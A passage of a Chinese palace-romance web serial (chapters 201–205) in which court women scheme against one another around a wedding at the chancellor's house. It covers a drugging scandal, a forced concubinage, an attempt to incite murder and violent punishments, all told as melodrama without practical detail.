柳丽云瞧着长无边际的队伍,捏了捏手里的退亲书,今日也会是她的主场,她要阿夜无处可逃,逼他直视自己的内心,然后当众承认他爱她,一如她爱他。
“凝玉公主,多谢您来接我。”
坐上凝玉公主的凤驾,一路畅通,直入丞相府。
柳丽云瞧不上徐慧珠,倒是凝玉公主的高贵身份和绝色姿容,配当她的对手。
不过,眼下她需要皇后娘娘这座靠山,不妨讨好凝玉公主,然后借凝玉公主这把刀弄死徐慧珠。
“丽云郡主客气。”
“母后特意交待,让本宫照顾你。”
“听母后说,丽云郡主一直生活在溟山,也是,山野乡村长大的人,说好听性情洒脱纯净,说直白就是粗俗不堪。”
“本宫明白母后的担忧,毕竟你是母后册封的郡主,若当众丢脸,丢的也是皇族脸面。”
凝玉公主本以为老女人不足为虑,可,徐慧珠和钱暮歌都没告诉她,柳丽云美若天仙。
比她美艳丽三分。
只一眼,凝玉公主就恨上了柳丽云。
“托皇后娘娘的福,我如今已是郡主身份,这份尊贵和荣耀是皇后娘娘给予,我自当感激于心,谨记皇后娘娘教导:全心全力为凝玉公主铺路。”
凝玉公主挑眉,“哦?”
“为本宫铺路?”
“柳丽云,你的铺路方式倒是清新脱俗,敢和本宫抢男人?”
“一大把年纪的老女人,也好意思?”
“老不羞!”
柳丽云狠狠掐了自己一把,才控制住心里翻滚的怒火。
连徐慧珠都斗不过,空有皮囊的草包美人。
“凝玉公主,我们同爱一个男人,这是缘分,也说明我们的眼光极好。”
“眼下,徐慧珠才是我们共同的敌人,等徐慧珠滚出将军府,您为将军夫人,我愿为妾。”
凝玉公主目色鄙夷,“自甘**。”
“不过尔尔。”
凝玉公主自小生活在深宫,天赋就是算计,一个觊觎姜夜沉的老女人,说得天花乱坠,她也不信。
当贵人们瞧见凝玉公主和柳丽云一同出现,亲昵互动,大家眼睛都直了,心里禁不住犯嘀咕。
情敌见面分外眼红,不是应该互掐互辱的场面吗?
是凝玉公主转性?还是两人结下联盟,先联手对付徐慧珠。
不管怎么说,凝玉公主和柳丽云还在将军府大门外徘徊,而徐慧珠却已是姜夜沉的枕边人,尊称一句“徐夫人”。
婚礼有条不紊进行,主家和宾客的脸上都洋溢着笑容。
随着喜娘高喊“送入洞房”,钱无双和徐念念这一波三折的亲事,算尘埃落定。
钱相爷能端着和善的假笑,熬到礼成,在他看来已全尽他和孽子的父子情分,皇上也不能说他欺君抗旨。
钱无双牵着红绸另一端的徐念念向喜房走去,紧接着钱相爷借口有事,去了书房。
谁也没发现,新晋郡主柳丽云何时不见人影。
宾客尽欢之时,凝玉公主脸色露出不耐,目光看向钱悠悠。
“钱悠悠,本宫听说你一身武艺,曾有过行侠江湖的冒险经历。本宫十分向往江湖之事,大家随本宫去花厅小坐,你来讲一讲。”
凝玉公主提的要求并不过分,甚至说有几分抬举钱悠悠之意。
“是。”
钱悠悠掩下心里的疑虑。
她回京后,隔三差五往将军府跑,“姐姐长”喊徐慧珠,“妹妹短”喊徐念念。
她从三金那里听到凝玉公主做下的种种奇葩事情,颠覆她对人性的认知。
从前,钱悠悠觉得这世上最坏最毒的女人,要属苗安楠。那么,又坏又蠢的女人,凝玉公主实至
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名归。
如今,当着凝玉公主的面,钱悠悠只恨身份悬殊,尊贵有别。不然,她定一顿暴揍,好让凝玉公主痛彻心扉地体会到欺辱徐慧珠的报应。
凝玉公主性情乖张,做过的事情清一色下作,奈何她的高贵身份,滋养她生长成一朵臭香臭香的花,往她身边凑的“蜜蜂”一波接一波。
一行人浩浩荡荡向花厅走去,路上,钱悠悠讲着江湖趣事,虽比不得茶楼说书先生,但胜在新奇。
凝玉公主听得津津有味,难得看钱悠悠顺眼一两分。
书房里。
钱相爷坐在书桌前,案面放置着他画了一半的小像,以解相思苦。
既是相思的苦,岂能轻易解开?
“唉……”
“安楠,是我无能,连心爱的女人都护不住,枉为男人。”
谁能想到,朝堂上百官之首的钱相爷,私下里为了一个女人落下男儿泪。
“安楠呀,我……我好想你。”
话音刚落,钱相爷先是闻到一股熟悉的香味,他寻着气味进入内室,入眼一个熟悉的身影躺在小榻上,微侧着脸,正睡的香甜。
是他朝思暮想的苗安楠。
“安楠,你……你回来了。”
……
去花厅必经钱相爷的书房,凝玉公主一行人刚到,正巧书房门嘭的打开,钱相爷脸色灰败,失了魂似的,摇摇晃晃往出跑,跨过门槛时摔了一跤。
钱相爷却感受不到痛,也顾不得满身狼狈,扶住葡萄架呕吐不止。
众人你看我,我看你,面面相觑。
儿子大婚,钱相爷身为父亲一时高兴过头,喝醉了酒?
但,观钱相爷的模样,不像醉酒,倒像是撞见什么恶心的东西,恶心坏了。
“父亲?”
“您怎么了?”
“可是身体不适?女儿这就派人去请太医。”
呕……
钱悠悠:父亲不喜欢也不习惯我的关心,所以觉得恶心,吐了?
正当众人疑惑之时,一个披头散发、衣衫不整的女子从书房冲出来,对准钱相爷的脸挠过去。
“老混蛋,你污我清白,还敢嫌弃我,吐我一身。”
“啊啊啊,我要杀了你。”
第201章:臣妇替夫君纳妾
女子身上还残留着呕吐物,散发腐酸味。
众人动作齐整以锦帕遮掩口鼻,后退两三步,但无一人离开。
当面吃钱相爷的大瓜,不吃或遗憾终生。
凝玉公主率先鼓掌,纤纤玉手拍的有点儿疼。
心里爽极。
“钱相爷……好雅兴啊。”
“儿子大婚,钱相爷却忙活着在书房偷情?”
“京城人人都说,钱相爷对苗安楠是真爱,为了长长久久和真爱厮守,容不下双亲、嫡妻和一双儿女……原来,都是假的啊。”
“钱相爷和这世间大多数男人一样,管不住自己的身体,见色忘情。”
没人敢明面上说一句:凝玉公主粗俗不堪。
钱相爷顾不得解释。
他还在吐。
直到吐出胆汁。
凝玉公主下令,“来人啊,将那个不要脸的**押过来,本宫好奇……是谁家府上的名门闺秀?”
药性大半消退,理智渐渐回归,柳丽云这时才反应过来自己今日算计姜夜沉不成,却被凝玉公主这个疯女先一步害了。
柳丽云扭头就跑。
然后,好巧不巧,同金夏撞个满怀。
“丽云郡主,您来丞相府参加婚宴,被贼人**了不成?”
“不对,难道?”
“难道丞相府进了采花大盗?”
“丽云郡主,您真够倒霉的呀。”
金夏本就嗓门响亮,她这一嗓子嚎叫的,吓得好些贵人花容失色,惊叫连连。
徐慧珠假意训斥,“金夏,不得胡乱猜测。”
下一句,顺金夏的话接,“今日宾客甚多,该不是哪位公子醉酒,见丽云郡主容颜绝色,心生倾慕,拉扯之下,惊吓到丽云郡主。”
主仆两人一唱一和,满嘴胡说。
凝玉公主不满地瞪了徐慧珠一眼,嫌弃她多管闲事,竟然给情敌“洗白”。
吃饱了撑的慌。
“徐氏,你知道的这么清楚?该不是你今日安排男人故意勾引柳丽云,好让她清白尽毁,滚出将军府?”
“本宫听闻柳丽云老不羞,赖在将军府不说,还对姜夜沉起了龌龊心思……”
说话粗俗且直白,凝玉公主一张口,句句都是猛料啊。
“如凝玉公主所言,我倒是有害丽云郡主的动机。”
徐慧珠竟……承认了。
众人:……
“将军,有人在皇上亲赐的婚宴上‘行恶’,打的是丞相府和将军府的脸面,更是欺君抗旨,得报官吧。”
凝玉公主下意识阻止道,“本宫不准。”
姜夜沉的目光自始至终追随着徐慧珠,两人挨的亲近,恨不能粘成一个人。
“夫人言之有理。”
“大福,去请府官大人。”
徐慧珠又接话,“钱相爷是醉酒呕吐,还是**中药?请太医诊治便明真相。”
“至于丽云郡主……”
柳丽云这一下撞的实诚,脑壳嗡嗡响,痛意拉扯着理智,让她转瞬明白,今日有人害她名声尽毁,甚至要她的命。
可,明白又能如何?她在京城,孤单影只,谁帮她?谁救她?
害她的人,不是徐慧珠,就是凝玉公主。
柳丽云只看见真相的表层,她绝对想不到凝玉公主和徐慧珠暂且联手,更不会相信姜夜沉暗中出力。
“阿夜,求你……听我解释。”
“这是误会。”
柳丽云手指徐慧珠和凝玉公主,目色充斥恨意,“是你……是你们算计我。”
柳丽云身子颤抖摇晃,泪眼汪汪,“阿夜,求你……信我。”
“我和那个老混蛋什么都没发生……”
身居高位的钱相爷,还是头一回被人当面辱骂“老混蛋”。
姜夜沉冷脸不语。
三个女人登台唱戏,他一个大男人掺和个什么劲。
凝玉公主笑的肆意张扬,“哈哈哈……”
“本宫今日可真开心啊,有幸见证钱相爷和柳丽云偷情不说,更搞笑的是柳丽云睁眼说瞎话,明明衣不蔽体,欢好痕迹新鲜,还嘴硬说自己身清玉洁……”
凝玉公主怎会给柳丽云辩白的机会,下令道,“周嬷嬷,带柳丽云下去验身。”
“柳丽云,你的身子当真干干净净,本宫便认下你这个‘郡主姐姐
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’。你若脏了,就滚出京城,李氏皇族的脸面,你丢不起。”
“如何?柳丽云,你这身子经得起验吗?恩?”
凝玉公主转身走向钱相爷,说道,“钱相爷老当益壮,这等体力活到百岁不成问题。”
“不过,钱相爷毕竟上了年纪,在房事上该悠着些才是。”
“本宫这就回宫向父皇母后禀明,对了也得向厉贵妃说一声,赏赐钱相爷三五马车名贵补药,多补多补,哈哈哈……”
凝玉公主说完,扬长离去。
凝玉公主时常不敬厉贵妃,今日羞辱钱相爷,他们能奈她何?
向皇上告状?
训斥或禁足凝玉公主?终归不能因此要凝玉公主的命。
留下一众吃瓜吃得尽兴又尴尬的贵人们,你看我,我望你,是顺势告辞?还是再吃个尾瓜?
……
钱相爷又病倒了。
夜里清醒,第一句话命令管事烧毁书房里的床榻,然后封了书房,另搬院子。
管事硬着头皮禀报,“相爷,大夫人……她……入宫去了。”
桑氏入宫做什么?
钱无双和徐念念忙着洞房花烛夜,桑氏这位嫡母入宫替她们谢恩?
“相爷,宫里来人了。”
“来的是皇上身边的李大监。”
李大监来做什么?
婚宴都结束了,李大监来观礼?
君后殿。
皇后娘娘惊的起身,“温德夫人,你……你说什么?”
“再说一遍。”
桑氏捧着锦盒,里面装着一方锦布,“回禀皇后娘娘,臣妇替夫君纳妾。”
“这里面的锦布上是丽云郡主的落红,相爷既破了丽云郡主身子,自当负责到底。”
“臣妇厚颜为相爷和丽云郡主讨一道赐婚懿旨,也请皇后娘娘安心,丽云郡主虽为妾室,但一应份例按照平妻规格,臣妇保证不会委屈了丽云郡主。”
皇后娘娘训斥道,“温德夫人离开京城十年,将规矩忘得干净,什么污秽东西也敢呈到本宫面前。”
“皇后娘娘教训的是,只是,这里面另有内情,臣妇容禀……”
第202章:杀了相爷,证明你爱我
京城半数贵人见证的丑闻,桑氏捂不住,便添一把火。
相府的名声,早在钱相爷宠妾灭妻之时,桑氏就不在意了。
“凝玉公主命周嬷嬷给丽云郡主验身,的确初经情事,这锦布上的落红也是周嬷嬷发现……”
皇后娘娘的心情很复杂,又气又怒又无语。
她刚拾起柳丽云这枚棋子,还没来得及走一步,就被凝玉公主莫名其妙毁棋。
从小到大,凝玉公主不是犯错,就是闯祸,还无数回坏事……皇后娘娘心烦意乱,白瞎这几个月牵肠挂肚,她不想见到这个蠢货女儿,甚至想把凝玉公主塞回肚子里,重新培育。
皇后娘娘又想,得悄悄召见钦天监,为她和凝玉公主卜一卦,她们母女生来相克?
皇后娘娘借口得问过当事人的想法,打发桑氏出宫。
暮歌端着养生茶入殿,皇后娘娘又派发新活,“暮歌,你走一趟香凝殿,叫凝玉来。”
“就说本宫要立刻马上见她,哪怕她已安歇,也给本宫从被窝里揪出来。”
“是,母后。”暮歌乐意之至。
她得煽风点火,凝玉公主才会作死的更快。
她得挑拨离间,凝玉公主和皇后娘娘这一对母女才会往死里内斗。
皇后娘娘“心善”,主动给她提供机会。
暮歌觉得,她若不趁机做点什么,岂不是辜负皇后娘娘。
暮歌领着阿喜一步一步向香凝殿走去,路过伊香殿旁边的梅林,驻足问阿喜,“你知道有多少棵梅树吗?”
阿喜摇头,“奴婢不知。”
“奴婢没数过。”
宫里每日人来人去,会在经过梅林时驻足片刻,但绝不会数一数梅林里栽种了多少棵梅树。
暮歌看着眼前的梅林,眼色迷离,似是陷入回忆里,“我数过,一百零一棵。”
“其实,最初梅林种植一百棵梅树,两年前,他私下找过内务府的成大监,亲手栽种一棵梅树,一百零一棵,代表他眼里百里挑一的我。”
泪,无声落下。
“如今的我,再无资格做他的‘百里挑一’。”
“阿喜,往后绕走梅林这条道,避开吧。”
阿喜应道,“是,太子妃。”
“可,太子妃,您夜夜哭,夜夜难以入眠,太苦太憋屈自己了。”
“奴婢瞧着心疼。”
暮歌刚一离开,厉贵妃和大皇子李明远从梅林走出来。
母子两人的脸色都不好看。
“明远,你出身在皇家,能不去争黄金座吗?本宫早就告诫过你,成大事者不能纠缠于儿女情长。”
“再说,暮歌已是太子妃......”
“明远,利用暮歌对你的情意,让她成为你手里的棋子,扳倒太子。”
厉贵妃心里恨透暮歌,果然是狐媚子,都嫁做人妇,还来乱大皇子的心神。偏偏,她不能在大皇子李明远面前说暮歌的不是。
“母妃说得是。”
母子两人各怀心思,他们万万没想到,温顺如猫儿的暮歌在血泪里迅速成长,已然学会演戏,还骗过所有人。
暮歌换另一条远道,她在路上等着,不知那一对母子,谁先出现,是厉贵妃迫不及待警告她?还是大皇子李明远心急如焚叙旧情?
她等着就是了。
......
钱相爷病得严重,苗安楠人在祖宅,抽走他的灵魂。还没等他灵魂归位,又忽然遭遇美人入怀,他对不起苗安楠,没能为她守身如玉,还弄丢了他们的爱情。
谁能想到,百官之首的钱相爷内里竟是个纯粹的情痴。
桑氏趁他病,仗着皇上册封她温德夫人的旨意,以雷霆手段掌控丞相府。
桑氏的一双儿女已然成长为她的左膀右臂,更是她回归京城的底气。
苗安楠的心腹跑到钱无双的院子哭诉求救,钱无双冷着脸色,命令护卫将人绑了,直接押送到桑氏面前,任她处置。
发配到庄子劳作?还是灌了哑药发卖?
钱无双不过问一句。
他安心待在丞相府,当他的相府二公子,享受新婚燕尔。
半个月后,桑氏手持皇后娘娘懿旨,亲自登将军府大门替钱相爷纳妾。
六十四聘礼,正红嫁衣,平妻仪仗……柳丽云虽为妾,却行的是平妻规矩,谁家纳妾能风光成这般程度?哪家嫡妻能贤惠大度到这般地步?
一路上吹吹打打,好不热闹。
有**着胆子质疑桑氏,“温德夫人该不是作秀?待妾室入门,再狠狠磨搓,指不定一年两载,人就香消玉殒在相府后宅。”
另一人接着阴阳怪气,“京城谁人不知钱相爷独宠
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苗安楠二十多年,相府后宅干净的如美人脸颊。温德夫人一朝回京,就为自家夫君纳妾,果然非常人气度。”
先前那人嘲讽道,“未必是气度,也可能是钱相爷不愿和温德夫人同房,温德夫人受不得钱相爷心里念念不忘苗安楠,这才送美人近钱相爷的身,乱钱相爷的心。”
钱悠悠娇颜寒霜,恨不能手起刀落削掉那些人的嘴唇,只会嚼舌根子,要嘴何用。
她清楚,这里不是祖宅,也不是江湖,而且走一步路、说一句话都被规矩束缚的京城,由不得她任性妄为。
她就知道,这京城回不得。
桑氏站在将军府大门前,举起手里懿旨,说道,“此乃皇后娘娘亲下懿旨。”
“身为相府大夫人,我怎能不走这一趟?如何不为相爷纳妾?”
“有人疑我居心不良?”
桑氏目光坚定坦荡,“大家也知道柳丽云是皇后娘娘册封的丽云郡主,相爷乃皇上信任重臣,我何德何能何胆量算计到相爷和丽云郡主?”
“相爷和丽云郡主或是两情相悦?或是贵人所赐?都不是我的算计。”
将军府里。
黑崖闯入紫藤院,“丽云,跟我回溟山。”
“只要逃回溟山,莫说相爷,就是天王老子也不敢到溟山抢人。”
“丽云,钱相爷的年纪都能做你爹了,我不能眼睁睁看着钱相爷祸害你啊。”
柳丽云甩开黑崖的手,怒吼道,“别跟我提那个老混蛋!”
柳丽云蹲下身,双手捂住脸颊,嚎啕大哭。
她在黑崖面前,不屑伪装。
黑崖站在那里,手眼无措,唯有心疼。
待柳丽云哭够了,突然起身主动扑到黑崖怀里,“黑崖,你爱我吗?”
美人入怀。
黑崖的心跳,在这一刻似乎停滞。
“爱。”
“丽云,你知道的,我们一起长大,除了你,我的眼里容不下旁的女子。”
“你的美好,世间女子不及分毫。”
柳丽云没心思听黑崖表白,黑崖说得对,他们一起长大的情分,这样的“甜言蜜语”,黑崖时常说,她早就听腻了。
“好呀,黑崖,我给你一次爱我的机会。”
“你现在就去相府,杀了那个老混蛋。”
“证明你爱我。”
第203章:她的爱慕,扭曲不堪
“丽云,你说什么?”
“杀……杀钱相爷?”
当黑崖得知,钱相爷污了柳丽云的清白,他恨的咬牙切齿,在相府外徘徊了整夜,他想过杀死钱相爷。
他如珠如宝捧在手心里的仙女,钱相爷一个老匹夫凭什么玷污?有何资格嫌弃?
可,大皇子李明远已警告过他,已为他遮掩毁凝如郡主容貌之事,若他刺杀钱相爷,谁都保不住他的命。
他不怕死,但他担忧一旦他身死,无人再护着柳丽云。
柳丽云下意识以为黑崖不愿,才来京城几日,黑崖就敢三番五次违逆她?一直听话顺从的狗,某日重主子汪汪吠几声,主子心里痛快才怪。
“黑崖,你?”柳丽云本想打骂黑崖,转瞬改变主意。
她好不容易攀附上皇后娘娘这座靠山,还未享受到靠山带来的好处,就被凝玉公主给毁了。
如今,她在京城,能利用的人,唯有黑崖。
柳丽云心一横,语气娇软,“黑崖,我答应你,只要你杀了那个老混蛋,我就跟你回溟山,和你成亲。”
她凑近了些蛊惑,“黑崖,杀了那人,我就是你的。”
“黑崖,你不想得到我吗?”
柳丽云豁得出去,钱相爷贵了她的清白,那她还矫情什么,便利用这具身体,换取一些实际的好处吧。
钱相爷一死,喜宴省下,得办丧事。
她咬死和姜夜沉五年前在北疆的那一夜旧情,哪怕以死相逼,她不信,姜夜沉会对她绝情。
“好,丽云,如你所愿,我去杀了钱相爷。”
门在,徐慧珠一行人站在院子里,听见全程,一个个脸色古怪。
他们应该来得晚些,桑氏大抵不介意丧夫,或用名贵药物养着一个活**夫君。
如今听见了,总不能装作没听见。
大福已闪身到黑崖面前,黑崖敢动一下,大福手里的剑就会出鞘。
“你们......偷听?”
徐慧珠实在没忍住,翻了一个白眼,怼道,“丽云郡主,这里是将军府。”
“我在自己家,光明正大地听。”
“丽云郡主还未入相府的门,便想着**亲夫?”
“丽云郡主,你不能嫌弃钱相爷年纪大,就对皇后娘娘赐婚懿旨不满。你就不怕皇后娘娘震怒,治罪于你?”
桑氏登门是客,徐慧珠作为将军府女主人,自当给丞相府一个说法。
不管怎么说,柳丽云也算作将军府的一门远亲,结亲是结两家之好,而不是结仇结怨。
可,柳丽云眼里,只看得见姜夜沉。徐慧珠的质问,他听不见,便是听见,也不屑回答。
“阿夜?”
柳丽云生怕姜夜沉误会,赶忙解释,“阿夜,你别误会。”
“黑崖他……他要回溟山,来向我告别,我和他只说了几句话。”
黑崖眼里的光亮,渐渐黯淡成一团黑影。
“黑崖师叔是该回溟山了。”
“师父来信,溟山十日后封闭山门,此后十年不与外界通联。黑崖师叔若回去晚,就进不得山门了。”
“大福,你带一队锦衣卫,护送黑崖师叔回溟山。”
大福逼近,“黑崖先生,请!”
“奴才已备下快马,保证三日可到溟山山门。”
金夏端着嫁衣,上前一步,恭敬行礼,说道,“丽云郡主请入内室,奴婢伺候您更衣。”
“良辰吉日耽误不得,钱相爷还在等着您过门,圆洞房花烛夜呢。”
这时,变故突生。
黑崖噗通跪在地上,脸色憋的黑红,“姜夜沉,求你……娶了丽云,求你......救救她。”
都说男儿膝下有黄金,黑崖的膝盖为了柳丽云,软成刚出锅的馒头。
徐慧珠挡在姜夜沉面前。
“黑崖师叔何意?”
“皇后娘娘懿旨已下,如今温德夫人和迎亲仪仗已入将军府,黑崖师叔此时逼将军抢亲?同钱相爷抢女人?”
徐慧珠一阵无力无语,这样的蠢话,黑崖怎么说出口?他以为他是谁,舍弃自尊跪下来求姜夜沉,就能得逞?
徐慧珠面上染了怒色,她这般模样落入姜夜沉的眼里,惹的他心欢喜,甜如蜜。
姜夜沉十分贪恋徐慧珠对他的维护,“黑崖
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师叔,这里是京城,不是溟山,你的身份和巫医术在京城无人在乎,便是一文不值。”
“刺杀钱相爷?黑崖,你当真想连累溟山今后不得安宁?”
黑崖浑身一震。
姜夜沉在警告他,亦是威胁。
他该怎么做?
“姜夜沉,丽云五年前以身救你,早已是你的人了,你本该对她负责到底。”
“姜夜沉,你明知道丽云那日去相府参加婚宴,被人徐氏和凝玉公主联手做局……”
黑崖心一横,再次逼迫姜夜沉。
姜夜沉一记眼神扫过去,大福意识到自己再反应慢一拍,怕是得回锦衣卫训练营重新训练。
大福剑鞘出手,嘭的一声,黑崖倒在地上。
“奴才这就快马加鞭送黑崖先生回溟山,亲眼看着黑崖先生受过溟山苦刑。”
溟山苦刑之一,就是由长老挑断黑崖的手脚筋,囚禁于溟山后崖,终生不离溟山。
姜夜沉不会要黑崖的命,还会很快送柳丽云去陪他。
他们想杀徐慧珠,就得付出代价。
“黑崖?”柳丽云恨的牙齿痒痒,心里骂黑崖“废物”,没一件事办成。
好在,黑崖将她和姜夜沉的旧情当众戳破,桑氏难道不会借题发挥?
她比桑氏年轻貌美,桑氏好不容易才赶走苗安楠,怎能容得下她入相府后宅?
“温德夫人,我不能嫁给相爷,因为我的心和身子早在五年前已给了阿夜。”
柳丽云目色含情看向阿夜,“阿夜,我是你的救命恩人,也是你的第一个女人,你必须得对我负责。”
“不然……”
柳丽云抢过嫁衣,扔在地上,踩了好几脚。
她以为毁了嫁衣,今日就不用花轿。
“不然,我就告御状,让世人知道堂堂杀神将军、北疆之王、锦衣卫统领因为与他母亲胞妹肌肤相亲,他觉得羞耻,过不去心里的道德关,才患上不能人道的隐疾。”
“阿夜,你……你当真要逼我吗?逼我和你走到鱼死网破的地步?”
柳丽云的爱慕,扭曲不堪。
他觉得恶心至极。
第204章:她撒下的弥天大谎
姜夜沉神情未变,心如止水,甚至,都没看柳丽云一眼。
五年前的那一夜,是他的耻辱。
他不能接受,更无法面对。
为此,他狠心折腾自己五年。
再听柳丽云提说,也不过如此。
徐慧珠说得对,那一段过往,也许并不能称之为“过往”,对他来说,毫无意义的存在。
如柳丽云,哪怕住进将军府,在他面前晃荡,屡次威胁他……同样,没有任何意义。
桑氏笑了。
笑声清脆。
“丽云郡主的故事讲得精彩,不去醉仙戏楼登台唱戏,可惜了一身才华。”
桑氏的嘴,不留情面。
“听说,丽云郡主此番回京,为的就是攀高枝,相爷于你来说,还不算高枝吗?”
“不知,丽云郡主想攀上什么样的高枝?做人啊,贪心太过,容易自讨苦吃。”
钱相爷是高枝?
莫说钱相爷身居百官之首位,即便他是皇帝之尊,她柳丽云照样瞧不上。
她的良人,自始至终没变过,就是姜夜沉。
“温德夫人,你……你……”
柳丽云如何不明白,桑氏和徐慧珠怕是早就勾结,是她一时糊涂,她在相府被算计,桑氏定提供了便利。
“丽云郡主,周嬷嬷为你验身,证明你初经情事,锦布落红为证。”
“此事,皇后娘娘已知晓内情,这才下懿旨。”
“丽云郡主,你口口声声说你和将军在五年前有过一段旧情,只怕是你一厢情愿,将军并未承认。你诬陷将军和你已有肌肤相亲,该不是你得癔症了吧。”
谁会想到,真相之下,还包裹着另一层真相。
柳丽云心虚到不敢看一眼姜夜沉,她撒下的弥天大谎,困住姜夜沉五年。
他们之间隔着辈分,偏偏年岁相仿,柳丽云对姜夜沉生出不该有的情感。
她差一点毁了他。
“不。”
“阿夜,不是这样的。”
“是凝玉公主,徐慧珠和温德夫人,是她们合谋害我。”
“阿夜,你忘了吗?五年前那一夜……”
柳丽云此人,就是见着棺材也不掉泪。
徐慧珠不会再给柳丽云伤害姜夜沉的机会,她的夫君,她护着。
“吉时将至。”
“金夏,伺候丽云郡主穿上嫁衣。”
“是,夫人。”金夏从地上捡起脏污的嫁衣,动作粗暴地往柳丽云身上套。
徐慧珠取出一枚药丸,塞入柳丽云口中,堂而皇之威胁,“柳丽云,你这张嘴让我犯恶心,日后就当个哑巴,眼睁睁看着自己一点一点腐烂在相府后宅。”
夜深了,书房的烛火亮着,姜夜沉羞于见徐慧珠。
他躲。
她偏不给他躲的机会。
“柳丽云这个坎,将军还过不去了?”
徐慧珠硬闯书房,语气有点儿“凶”。
大福拦不住,也不敢真拦。
因为,金夏在一旁又是捏拳头又是瞪眼睛,大福不是打不过,是他认定的媳妇,不能打。
姜夜沉闷闷地说,“柳丽云……她……她欺骗了我。”
“我以为……我以为……”
徐慧珠虽不能感同身受,但理解姜夜沉心里的想法,既释然又莫名的憋屈。
他能接受真相,却无法原谅自己的愚蠢。
“姜夜沉,你遇见了我。”
“难道不足够抵消吗?”
徐慧珠主动坐在姜夜沉怀里,捧着他的脸,看进他的眼里。
她说,“姜夜沉,我才是你的药引。”
徐慧珠身为医者,先是治愈姜夜沉的心病,接下来她要以身入药,彻底治愈姜夜沉这个人。
“慧珠,我……我……”
姜夜沉身体僵硬,他们之间明明亲密无数回,他一直主动索取又秉持霸道,可眼下,他心慌乱到微微战栗。
“嘘,别说话。”
“我来。”
一室春色。
悄然而至。
皇宫。
香凝殿。
“你说什么?”
“再说一遍。”
凝玉公主一副**的模样,暮歌带来的消息,她一时难以消化。
她擅长怪罪别人,从来不自责自省。
“你是说姜夜沉之所以不能人道,是因为柳丽云?她骗了姜夜沉,害了姜夜沉,也毁了本宫的金玉良缘?”
“啊啊啊……”
“****!”
“世上怎么会有这么可恶的**!”
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“本宫要杀了她。”
凝玉公主一边咒骂柳丽云一边摔瓷器,她的不幸,终于寻到宣泄口。
瓷器碎片划破暮歌的手臂,差一点伤到她的脸。
她不在意。
一张好看的皮囊,不论是大皇子李明远,还是太子,他们都不配欣赏她的美。
“母后让我来劝你,事过境迁,别一味执着于过往。”
“西疆王下个月生辰,按照惯例皇上会有赏赐送到西疆。母后说她会求皇上,允你随内务府同行,去西疆看看风光,也顺道去看望叶世子。”
“母后还说,男人心软,叶世子爱你至深,只要你放下身段真心哄一哄,叶世子回心转意……”
凝玉公主哪里听得进去,她抓起茶盏,扔向暮歌,恶狠狠地吼道:“闭嘴。”
“滚啊。”
“母后的狗!”
暮歌没躲。
暮歌早已经习惯面对凝玉公主时不时发疯,凝玉公主疯的越厉害,暮歌心里越快活。
一个茶盏打不**,她受伤,她的狼狈,就是让大皇子李明远看见,才会心疼。
她用锦帕半遮面,对阿喜说,“走人少的道回东宫,莫让人瞧见,还有,今日之事不可对旁人提起,凝玉公主只是心情不好......”
凝玉公主心情不好,就给太子气受,又打又骂,皇后娘娘是眼瞎看不见,还是耳聋听不见......皇宫里,处处是眼睛,处处是耳朵,太子妃过得苦涩凄惨,定会传得人尽皆知。
“是,太子妃。”阿喜声音哽咽,想哭又不敢哭,生怕给自家主子惹了麻烦。
主仆离开后,大皇子李明远一拳捶在假山上的石块,顿时血流如注,惊的身旁护卫留青赶忙取出一瓶药粉倒在大皇子李明远的手上,再小心翼翼为其包扎。
“殿下,您千金之躯,怎能自伤?贵妃娘娘若是知道,该多心疼。”
大皇子李明远笑容苦涩,“母妃心疼本王?”
“拆散本王和暮歌也就罢了,母妃怎能狠心到推暮歌入太子那个火坑?母妃明明知道,当初先太子妃根本不是突发疾病,真相是被太子活生生打死。”
“如果哪一死暮歌也**,被太子殴打致死……”
第205章:公主想要再续婚约
留青顾不得以下犯上,他上前一步捂住大皇子李明远的嘴巴,提醒道,“殿下,这里是皇宫呀。”
理智回归。
大皇子李明远看向暮歌离去的方向,他好像看到暮歌回头,先是冲他笑,笑容如往昔纯净温暖。
接着,暮歌哭了,无声流泪,满面泪痕。
然后,暮歌整个人被一团血雾包裹住,透过血雾看过去,暮歌不知怎地变成一个血人。
大皇子李明远的心,不受控制,如坠冰窟,他失魂落魄向宫门走去。
刚出宫门,一辆马车疾行而过,帘子扬起,露出一张熟悉的脸。
“殿下,是……是凝玉公主。”
“这么晚了,凝玉公主出宫做什么?”
“殿下,要不要奴才跟上去看看?”
大皇子李明远一向不喜凝玉公主,不管怎么说,他是她的兄长,她一无敬长之心,二嚣张傲慢,整日将“嫡庶有别,尊贵天定”挂在嘴上。
他本想训斥留青多嘴,凝玉公主作天作地,与他无关。
此刻,暮歌直往他的脑袋里钻,占据他的心神。
“留青,跟上凝玉公主。”
留青领命离开。
大皇子李明远站在原地,喃喃道,“暮歌,本王会救你的。”
“如果东宫储君之位易主……”
凝玉公主还不知道,大皇子李明远已将主意打在她身上。
将军府。
“战火”从书房蔓延到主院内室,两人皆好战,能力势均力敌,一时难以分出胜负。
最终,徐慧珠力气耗尽,再也无力阻挡姜夜沉入侵。
“将军,丞相府……出事了。”大福禀报道。
他也不愿打扰将军和夫人,奈何柳丽云命悬一线,是死是活,该得看将军的意思。
刚休战的两人对视一眼,徐慧珠坦白,“我让暮歌专程去刺激一回凝玉公主,看来,效果不错。”
“说吧,怎么回事?洞房花烛夜,钱相爷吐血了?”初尝情事美妙的姜夜沉,此刻心情大好,难得生出八卦的心思。
“丽云郡主,不,柳夫人打伤钱相爷,逃出相府。不过,柳夫人够倒霉,迎面撞上凝玉公主,被凝玉公主一顿痛打,毁了容貌,手脚筋挑断。”
“温德夫人报官了。”
“只是,凝玉公主拖着伤重的柳夫人登门,闹着要见将军。”
要大福说,凝玉公主忒不要脸,和徐晓涵、柳丽云组成“没脸没皮美人三人组”。
姜夜沉赖着不愿起身,还是徐慧珠一阵好哄,他才磨磨蹭蹭穿衣,满脸怨色。
待徐慧珠看见柳丽云的凄惨模样,还是惊吓到了。
“金秋,给柳夫人服续命丹。”
“金夏,去请普神医。”
“救命要紧。”
凝玉公主倒是没阻止,冷笑嘲讽,“徐氏,你假惺惺给谁看?”
“难道你不恨柳丽云?”
“凝玉公主此言差矣,臣妇为何要恨柳夫人?”徐慧珠装傻,“师父教导,治病救人是身为医者的基本品德。”
“就比如,凝玉公主您万般不喜臣妇,屡次言语针对羞辱,但您患病之时,于臣妇来说,就是病人,臣妇自当尽心尽力诊治。”
凝玉公主满脸不耐烦,打断道,“虚伪至极。”
“徐氏,本宫不屑跟你说。”
凝玉公主觉得和徐慧珠说话,浪费她的宝贵时间。
